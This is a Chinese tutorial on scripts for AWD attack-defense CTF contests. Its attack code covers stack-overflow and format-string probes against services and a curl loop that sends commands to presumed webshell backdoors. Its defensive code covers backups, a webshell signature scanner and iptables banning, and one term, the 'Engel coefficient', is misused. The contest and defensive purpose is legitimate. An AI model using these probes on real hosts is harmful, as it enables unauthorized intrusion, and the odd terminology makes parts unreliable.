简介：面向AWD/CTF网络安全竞赛的攻防脚本合集，专门为参赛者、安全爱好者和蓝红队人员提供赛场上所需的工具支持，覆盖信息收集、漏洞扫描、渗透测试、Web漏洞检测、日志分析与防御加固等常见环节，帮助快速定位对手弱点并建立自身防护体系。压缩包共34个文件，以Python和PHP脚本为主，辅以txt说明文档，另含少量pyc、rar、exe及md文件，整体仅3.18MB，轻量易用，便于赛前部署和赛中调用。包内脚本兼顾攻击与防守双视角，既有端口扫描、漏洞利用、Web攻击检测等主动工具，也包含日志监控、WAF防护、不死马查杀等防御手段，基本覆盖AWD赛中的典型操作场景。目前已有689人学习下载，适合零基础选手快速搭建工具链，也可供有经验者二次开发。在合法合规前提下使用和修改这些脚本，能够有效提升对攻击路径和应急响应机制的理解，为真实网络安全工作积累实战经验。
1. AWD攻防赛脚本集合：一场比赛里真正拼的是脚本和手速
AWD（Attack With Defense）攻防赛是所有CTF线下赛里最残酷的模式，没有之一。攻击和防守同时在同一个靶场上进行，拿下flag只是第一步，保住自己的主机不被对手打穿才是活下去的关键。很多第一次打AWD的选手会把精力放在手搓exp上，结果发现别人一轮一轮地刷分，自己连Web目录的webshell都被清了三次。真正实用的AWD攻防赛脚本集合，不是一两个exp的堆积，而是把巡检、批量提交、自动化利用、文件监控、流量分析、权限维持和应急恢复串成一条流水线。这套东西的价值就一句话：把人工操作压缩到极致，让你在攻击窗口期有手去防守，在防守空窗期有手去进攻。适合打CTF线下赛的PWN和Web方向选手、准备攻防演练蓝队脚本体系的工程师，以及想从“手工渗透”过渡到“自动化对抗”的安全从业者。
2. 脚本库的骨架与分工：先搞清一个zip里到底该有什么
拿到任何一个“脚本集合.zip”，第一件事不是跑，而是看目录。常见做法是，这套脚本按AWD的作战阶段分四块：01_info_gathering（信息收集与巡检）、02_attack（利用和拿flag）、03_defense（部署WAF、文件监控、日志备份）、04_misc（批量提交、权限维持、应急回滚）。没有这个骨架的脚本库，基本就是随手攒的exp堆，比赛打到一半你就不知道该跑哪个了。
2.1 目录结构与文件命名：一个30秒能定位到脚本的规矩
目录命名不要用1.py、2.sh这种糊弄的名字。参赛脚本在比赛里是给“十分钟后的自己”用的，你做防守的时候往往只有几十秒去翻目录，命名里必须带清楚五个维度：用途、目标类型、参数数量、输出格式、是否危险。一个我常用的目录规范是这样：
AWD_Scripts/ ├── attack/ │ ├── batch_flag_submit.py │ ├── pwn_rop_tool.py │ ├── web_command_injection.sh │ └── sqlmap_wrapper.sh ├── defense/ │ ├── file_monitor.py │ ├── webshell_scan.sh │ ├── backup_and_rollback.sh │ └── waf_deploy.sh ├── info/ │ ├── port_scan.sh │ └── process_check.sh ├── misc/ │ ├── flag_auto_submit.py │ └── ssh_keepalive.sh └── README.mdbatch_flag_submit.py要从整个脚本集合里拿出来单独说。AWD比赛里flag是有时效期的，通常是30秒到3分钟一轮，手工把flag贴到提交平台是纯浪费生命。批量提交脚本的思路就三步：从本地日志和攻击结果中扫描“flag{...}”格式的字符串，去重，然后调用比赛平台的HTTP接口批量POST。注意每个比赛的flag格式不同，普通是flag{...}，但有的换成ctf{...}或者自定义前缀，脚本里必须留一个正则的常量变量：
import re import requests import time FLAG_REGEX = r"flag\{[^}]+\}" SUBMIT_URL = "http://10.0.0.10/flag_submit" TOKEN = "your_token_here" def extract_flags(file_path): flag_set = set() with open(file_path, "r", encoding="utf-8", errors="ignore") as f: data = f.read() matches = re.findall(FLAG_REGEX, data) for match in matches: flag_set.add(match) return list(flag_set) def submit_flags(flags): for flag in flags: resp = requests.post(SUBMIT_URL, data={"flag": flag, "token": TOKEN}, timeout=5) if resp.status_code == 200 and "success" in resp.text: print(f"[+] 提交成功: {flag}") else: print(f"[-] 提交失败: {flag}") while True: flags = extract_flags("/tmp/collected_flags.log") if flags: submit_flags(flags) time.sleep(5)这段代码重点在extract_flags的日志文件路径和SUBMIT_URL的协议格式。实战中最容易翻车的是Token过期，比赛平台的Token一般绑定你的账号session，打比赛打太久没交互会掉线。建议第一次跑通后立刻打印一次提交结果，确认success字段格式，不同平台的返回结构差别很大，有的在status字段里返回1，有的在msg里返回ok，写死判定条件前一定先手工curl一次。另一个坑是死循环里没有延迟控制，平台接口往往有频率限制，5秒一轮是底线，再快就会被封IP，封了之后你所有flag都提交不进去。
2.2 依赖环境与参数约定：Python版本和Linux命令的兼容坑
脚本集合的运行环境统一按“Python 3.8+、无第三方依赖优先”来设计。AWD比赛给的操作机通常是一个精简版Ubuntu/Debian，预装的是系统自带Python 3，你没办法在比赛现场pip install requests，所以脚本里能用urllib就不用requests，能用subprocess调用系统命令就不用paramiko。依赖越少，换靶机时翻车概率越低。
Linux下的shell脚本也有兼容性问题。ls命令在Ubuntu和CentOS下的输出格式有差异，grep的-P参数在某些发行版里不可用，netstat在老系统里默认不装。建议整套脚本里统一用python3 xxx.py的模式，把shell脚本减到最少，只保留像waf_deploy.sh这种必须要动iptables的场景。同时所有脚本入口必须支持-h参数打印用法，至少包含目标IP、端口列表、输出文件三个参数的默认值，防止一个选手在凌晨三点体力耗尽时还要去翻源码回忆参数。
3. 攻击侧脚本的核心：拿flag是唯一的正义，但不是无脑的正义
攻击脚本是整个集合里最能体现选手水平的部分。很多人以为攻击脚本就是砸exp，其实真正到了AWD赛场，你会发现网段里几十台靶机同时开打，别人在用“广撒网”策略一遍一遍扫，你还在手工确认一个漏洞能不能打通。有效的脚本化攻击路径应该是：先摸清目标机开了什么端口和Web服务，再批量提交已知漏洞的payload，最后把flag收回来。
3.1 PWN题的批量攻击脚本：一个socket模板打十个洞
PWN型AWD的靶机一般是多进程服务，常见漏洞类型包括格式化字符串、栈溢出、整数溢出和UAF。批量打PWN的脚本核心是把每个漏洞的利用逻辑做成一个函数，输入是ip和port，输出是flag字符串。框架长这样：
import socket import re import sys def exploit_stack_overflow(ip, port): payload = b"A" * 200 payload += b"\xaa\xbb\xcc\xdd" # 覆盖返回地址 payload += b"\x00" * 4 try: s = socket.create_connection((ip, port), timeout=8) s.recv(1024) s.sendall(payload) data = s.recv(4096) s.close() return re.findall(rb"flag\{[^}]+\}", data)[0].decode() except Exception as e: return None def exploit_format_string(ip, port): payload = b"%p.%p.%p.%p" try: s = socket.create_connection((ip, port), timeout=8) s.recv(1024) s.sendall(payload) data = s.recv(4096) s.close() # 从泄漏的栈数据里尝试拼接flag match = re.findall(rb"flag\{[^}]+\}", data) if match: return match[0].decode() except Exception as e: return None targets = [("10.0.0.2", 8888), ("10.0.0.3", 9999)] for ip, port in targets: flag = exploit_stack_overflow(ip, port) if flag: print(f"[+] {ip}:{port} -> {flag}")这里要特别提醒，socket.create_connection的timeout=8不是随便定的。AWD一轮进攻窗口期通常是20到30分钟，一个IP上打不通就要立刻跳过，8秒是一个平衡值：本地编写exp验证时可以调大，但在赛场上超过8秒基本就是服务挂了或者防火墙拦了，死等没有意义。实战中还有另一个注意点：靶机服务可能fork子进程处理连接，子进程的flag和父进程的flag是不同的，如果你只拿到了一个固定的flag，说明你可能只打通了其中一个入口服务。正确做法是在拿flag后不要立刻断开，保持连接，隔几十秒再试一次，看看恩格尔系数（flag变化频率）高不高，有的靶机每轮刷新一次flag，旧flag提交会失效。
3.2 Web侧的低成本拿下：命令执行和SQL注入的脚本化用法
Web型AWD的靶机通常是一个带了后门的CMS或论坛程序。攻击脚本里最值钱的两个类型是命令执行检测和SQL注入批量验证。常见做法是利用已知的后门路径发起HTTP请求，先把WebShell找出来再决定要不要上马。一个实用的命令执行后门检测脚本是这样：
#!/bin/bash TARGET=$1 PAYLOAD="id;echo PWNED" for i in $(seq 1 20); do curl -s -m 5 "http://${TARGET}/cmd${i}.php" -d "cmd=${PAYLOAD}" | grep -q "PWNED" && echo "found cmd${i}.php" done这个脚本的逻辑很直接：循环访问cmd1.php到cmd20.php，这些是AWD赛场上最常见的预留后门文件名。用echo PWNED做回显标记比id输出好，因为id的结果在多条命令注入时可能会被过滤掉部分关键字，PWNED是独一无二的标记，grep命中率更高。curl -m 5限制请求时间是必须的，有的后门在无参数输入时会卡住等待输入，不加超时你的循环就跑不下去。注意-d表示POST请求，$PAYLOAD里的分号和echo组合是专门绕空格过滤的，很多CMS把”空格”列入黑名单，分号在URL编码后不容易被拦。
批量攻击时用这种脚本还有个隐藏优势：它不依赖任何第三方工具，curl是Linux系统自带，Web服务器上只要有PHP环境就能跑。很多选手习惯把Burp Suite挂在本地，但比赛环境网络复杂，Burp的代理配置反而会拖慢批量发包速度，直接curl写死header发更可靠。
4. 防守侧脚本的生死线：不掉分比拿分更重要
AWD比赛里防守的优先级永远高于进攻。丢了靶机权限等于对手拿到了你的flag生产机，你这边每被拿一次flag，对手就多一次得分机会。防守脚本的核心是快：发现webshell要快，恢复文件要快，封禁攻击IP要快。整个防守脚本体系围绕四个动作展开：文件备份、文件监控、进程巡检和流量封堵。
4.1 文件备份与恢复：比赛里唯一保命的后悔药
打AWD最怕的不是服务被打挂，而是自己的Web目录被对手改了源码还在上面挂了马。文件备份和恢复脚本是整套防守脚本里最不能省的部分，你要在开局的前3分钟就把全站文件备份下来，之后每隔一轮做一次增量对比，发现文件被改就立刻回滚。一个实用脚本：
#!/bin/bash BACKUP_DIR="/tmp/backup" WEB_ROOT="/var/www/html" TIMESTAMP=$(date +%Y%m%d_%H%M%S) mkdir -p ${BACKUP_DIR}/original cp -a ${WEB_ROOT} ${BACKUP_DIR}/original while true; do diff -rq ${BACKUP_DIR}/original ${WEB_ROOT} > /tmp/diff.log 2>&1 if [ -s /tmp/diff.log ]; then echo "[!] 检测到文件变化，恢复原文件" cp -a ${BACKUP_DIR}/original/. ${WEB_ROOT}/ # 记录变化字段 grep "Only in" /tmp/diff.log > /tmp/diff_only.txt fi sleep 30 done这段脚本的关键参数是cp -a和diff -rq。cp -a保留文件所有者、时间戳和权限位，这是Web运行环境必需的，如果只用cp不带-a，文件属主会变成root，PHP-FPM的www-data用户可能就没权限读了。diff -rq的q表示只输出有差异的文件名，避免刷屏。sleep 30是防守检查的频率，通常在30秒到60秒之间，缩短时间会加重CPU压力，拉长又会错过攻击窗口。另一个实战细节是：恢复后不能只覆盖文件，还要清一遍/tmp目录和/dev/shm，对手可能把后门文件放在/tmp里等待执行。
文件监控有个绕不开的坑：比赛靶机性能普遍一般，diff -rq对比整个Web目录在文件数上千时很吃CPU，跑多了会拖慢正常业务响应。常见解决办法是只对关键目录做监控，比如把WEB_ROOT指到${WEB_ROOT}/uploads和${WEB_ROOT}/wp-admin这种平时不会变、敌人拿下后会蹲守的文件目录，而不是全盘铺开。或者把diff换成find -mmin -5按修改时间找新增文件，只输出最近5分钟内改过的文件，这样开销小很多，缺点是旧文件被改写时不一定能扫到，两种监控方式其实应该结合用。
4.2 webshell检测与清理：别等到对手提权了才反应过来
webshell是AWD里最阴险的存在。对手在开局就给你挂上的一句话木马可能在比赛开始后第20分钟才激活，如果不扫描验证文件内容，光靠文件备份回滚是防不住的。一个基于特征码的webshell检测脚本：
import os import re import sys TARGET_DIR = "/var/www/html" MALWARE_PATTERNS = [ r"eval\s*\(\s*\$_", r"assert\s*\(\s*\$_", r"shell_exec\s*\(\s*\$", r"base64_decode\s*\(\s*\$", r"create_function\s*\(\s*\$", ] def scan_dir(root_dir): findings = [] for root, _, files in os.walk(root_dir): for fname in files: if fname.endswith((".php", ".phtml", ".php5", ".php7")): fpath = os.path.join(root, fname) try: with open(fpath, "r", encoding="utf-8", errors="ignore") as f: content = f.read(1024 * 128) for pattern in MALWARE_PATTERNS: if re.search(pattern, content): findings.append((fpath, pattern)) break except PermissionError: print(f"[-] 权限不足: {fpath}") return findings if __name__ == "__main__": hits = scan_dir(TARGET_DIR) for path, pattern in hits: print(f"[!] 发现可疑文件: {path} -> {pattern}") if len(sys.argv) > 1 and sys.argv[1] == "--remove": for path, _ in hits: os.remove(path) print(f"[+] 已删除: {path}")扫描逻辑中的read(1024*128)是限制读取大小的边界，防止PHP文件太大导致正则匹配卡死。正则里写的是eval、assert、shell_exec这些高危函数，实际会遇到大量正常的业务代码误报，所以最后的--remove参数写成手动触发，不默认删除。AWD赛场上最常见的误杀是把编辑器框架自带的create_function给删了，比赛判分系统会检测服务是否存活，你把首页文件删了，靶机直接判死。所以第一次扫描跑完不要急着删，先grep上下文确认是主动引入的后门还是框架自带的特性，这个冷静期很重要。还有一种做法是把扫描到的可疑文件改名而不是删除，比如mv shell.php shell.php.bak，改完名业务不会挂，但如果这是唯一后门，保留一个备份文件也比直接删除更好排查。
4.3 流量侧封堵：iptables和日志的配合姿势
防守到后期，对手会开始用tor+代理层层跳，但从Web服务的访问日志里你依然能抓到攻击源的IP规律。基于日志的自动封堵脚本是防守体系的最后一根防线。我在比赛里常用的是一个三层联动策略：日志分析脚本扫出高频攻击IP → 写入iptables黑名单 → 每5分钟清一次黑名单防止误封自家队友。这个清黑名单的设计很多人不理解，其实是因为比赛后期多个队伍可能共用出口IP，或者对手会反复更换攻击机，黑名单越积越长导致你的访问日志也分析不动，滚动封堵才是有效的。
#!/bin/bash LOG_FILE="/var/log/nginx/access.log" THRESHOLD=50 IPS_TO_BAN=$(awk '{print $1}' ${LOG_FILE} | sort | uniq -c | awk '$1 > '"${THRESHOLD}"' {print $2}') for ip in ${IPS_TO_BAN}; do if ! iptables -L INPUT -n | grep -q "${ip}"; then iptables -I INPUT -s ${ip} -j DROP echo "[+] 封禁: ${ip}" fi done sleep 300 # 滚动解封，避免误杀 for ip in ${IPS_TO_BAN}; do iptables -D INPUT -s ${ip} -j DROP 2>/dev/null doneTHRESHOLD=50的意思是5分钟内来自单个IP的请求数超过50就直接封禁，这个阈值取决于你的业务正常访问量。AWD靶机通常没有真实用户流量，50已经很低了，比赛时如果发现正常业务请求也被拦，就把它调到100。封盾脚本有个关键执行顺序：先分析再封禁，并且只在iptables里没有该IP时才追加，避免重复添加产生iptables规则爆炸。滚动解封的循环放在sleep 300之后，解封后日志还是之前的日志，下一次循环会重新统计，这保证了误封的IP能在300秒内自动解除。有人问为什么不直接跑fail2ban，其实比赛环境里fail2ban的安装配置耗时太长，而且它的封禁策略不够灵活，一个手写的循环脚本在关键时刻改起来更快。
5. 避坑专题：AWD脚本实战里的5个血泪教训
脚本写得再好，临场跑翻车就等于白写。这节不聊理论，全部是实战里见过、踩过、帮别人排过的具体问题，每条按“现象 → 原因 → 解决”写，宁可直接抄作业也别自己找死路。
5.1 flag正则把大小写匹配错了，导致提交持续失败
现象：批量提交脚本一直返回“提交失败”，日志里明明全是flag{...}格式的字符串，但从第二轮开始全部失效。 原因：AWD平台的flag不是固定的，规则引擎会按轮刷新flag，且每个flag只对应当前轮的“当前服务”+“当前队伍”组合。我踩过的坑是脚本里用了[A-Za-z0-9_]+去匹配flag内容，但平台生成的flag里包含-和@这两种字符，正则漏了一个字符导致整条flag被截断，提交时少了一段自然失败。 解决：把正则从r"flag\{[^}]+\}"放宽到允许任意非右大括号字符。但要注意，太宽的正则又会把其他文本误抓进来，所以extract_flags里还要加一层校验：从攻击结果里抓到的flag长度是否大于8个字符，小于8的一律丢弃。
5.2 webshell扫描把所有eval都删了，业务直接崩
现象：扫描脚本发现多个包含eval的PHP文件，用--remove删掉之后网站首页变白屏，靶机被判失活。 原因：很多业务框架（比如老版本ThinkPHP和discuz）会在缓存文件里正常使用assert和eval完成模板渲染和缓存加载。把它们当作恶意代码删除等于把业务核心逻辑拆了。 解决：落地为“只删新增文件里的恶意函数”，不碰原始文件。正确做法是先把防守侧的备份目录和当前目录做diff，只针对新增文件进行webshell特征匹配，再对这个增量集合执行删除操作。这样即使误删，也只会删掉敌人新放上来的马，对原始业务文件毫发无损。
5.3 批量攻击脚本的并发数太高，把自己的操作机搞瘫痪了
现象：用threading.Thread开200个线程去打同网段的200个靶机端口，结果自己的操作机CPU直接100%，ssh都连不上了，比赛中断了五分钟。 原因：Python的GIL在I/O密集场景下虽然会让出，但是200个线程的调度和socket连接握手依然会让单核CPU过载，加上每个socket默认不设timeout，大量半开连接堆积在操作机的网络栈里。 解决：使用concurrent.futures.ThreadPoolExecutor限制并发数为10到20，并且每个socket连接强制设3秒超时。另外在处理完一个端口后主动关闭连接，不要依赖垃圾回收。打成批量的前提是“自己不能先倒”，这个优先级永远最高。
5.4 备份脚本落地后没有权限恢复，Web目录无法写入
现象：用cp -a /var/www/html /tmp/backup备份后，手动删除Web目录并用备份恢复，发现恢复出来的文件owner全是root，PHP-FPM的www-data用户无法写入，上传功能全部失效。 原因：cp -a保留了root的属主和权限，而原始目录的属主可能是www-data:www-data。备份时是在root权限下跑的，恢复时也是root权限，文件自然变成了root所有。 解决：备份时改用tar命令打包并在解包时指定--same-owner，但这并不解决问题。更简单的方法是备份前先看一眼原始属主，恢复后执行chown -R www-data:www-data。这个细节必须写在脚本注释里，否则掉坑的选手会连续掉两次。
5.5 守护进程报错退出，没有自动拉起机制
现象：写了一个后台运行的python3 monitor.py &做文件监控，结果比赛进行到一半时进程莫名退出，监控中断了40分钟，期间靶机被换了好几个webshell。 原因：&启动的后台进程不会自动重启，Python遇到KeyboardInterrupt或者socket连接池异常会直接崩溃，没有任何拉活逻辑。 解决：使用while true; do python3 monitor.py; sleep 3; done这种万能重启写法，或者写一个systemd service文件配合Restart=always。比赛要点是少用nohup重用&裸启动，这两种方式在进程崩溃后都不会主动拉起，你只有手动回去敲命令才会知道进程没了。
6. 从“能跑”到“跑稳”：脚本集合的进阶验证与复盘技巧
脚本集合真正发挥战斗力是在比赛的前30分钟和最后30分钟。前30分钟是补防准备，最后30分钟是总攻收割。这个阶段需要验证的不只是“脚本能不能跑”，而是“整套体系能不能扛住对手的变招”。我这里分享三个进阶习惯，按“验证方法 → 结果判断 → 调整手段”逐步推进，不需要写一整段代码，但每一条都是实战里赚过分数的细节。
第一个习惯是打之前预演一遍“发病流程”。用你自己的靶机做一次性模拟攻击，跑一遍攻击侧脚本拿flag，再跑一遍防守侧恢复脚本，观察从备份恢复到业务恢复之间隔了多少秒。这个数字直接决定你能不能扛住对手的一轮RUSH攻击。理想状态是恢复到普通服务可访问状态在5分钟内完成，如果超过10分钟，说明你的备份数据太大或者恢复逻辑里还有交互式确认步骤，立刻把脚本改成无交互模式，去掉所有read -p等待输入。
第二个习惯是准备一个“快速清场清单”。在总攻之前，把攻击侧脚本的输出重定向到一个固定文件，比如/tmp/attack_results_round5.log，然后批量提交脚本读这个文件。这样整个流程自动衔接，不会因为攻击结果分散在终端历史里而漏交flag。我比赛里见过有人手动在终端里复制粘贴flag，结果复制漏了一个字符，一个flag就那样白扔了。把attack和submit打通，用文件做中间缓存，是整套脚本集合最关键的集成方式。
第三个习惯是在最后30分钟检查一次“自己有没有被留后门”。对手可能会在比赛中途偷偷修改你的靶机系统，留下SSH公钥或者添加新用户。快速检查方式是运行一段脚本，对比/etc/passwd和/root/.ssh/authorized_keys是否有新增内容。真到了总攻阶段，你不用再防守了，但你得确保你的攻击入口没被对手堵住。一条命令是diff <(cat /etc/passwd) <(ssh yourhost cat /etc/passwd)，但这个前提是你还有另一台干净主机的对比基准，所以比赛开局一定要做一次完整快照存下来。
最后提一个我个人的习惯：整套脚本集合至少要用python3 -m py_compile全部编译一次，确认没有语法错误。比赛现场最尴尬的翻车就是脚本在关键节点因为少了个冒号直接报错，你还在台上怀疑是不是系统环境问题。每场比赛前我都会把所有脚本跑一遍--help，确认入口正常，然后git提交一次，给整套集合打个tag，比如v3.0_final_ready。这不止是形式主义，它保证你在高压环境下不会拿错版本。希望这些踩坑经验帮你在下一场AWD里少走几条弯路，把脚本从“攒了一堆”真正变成“手里有粮，心里不慌”。
本文还有配套的精品资源，点击获取
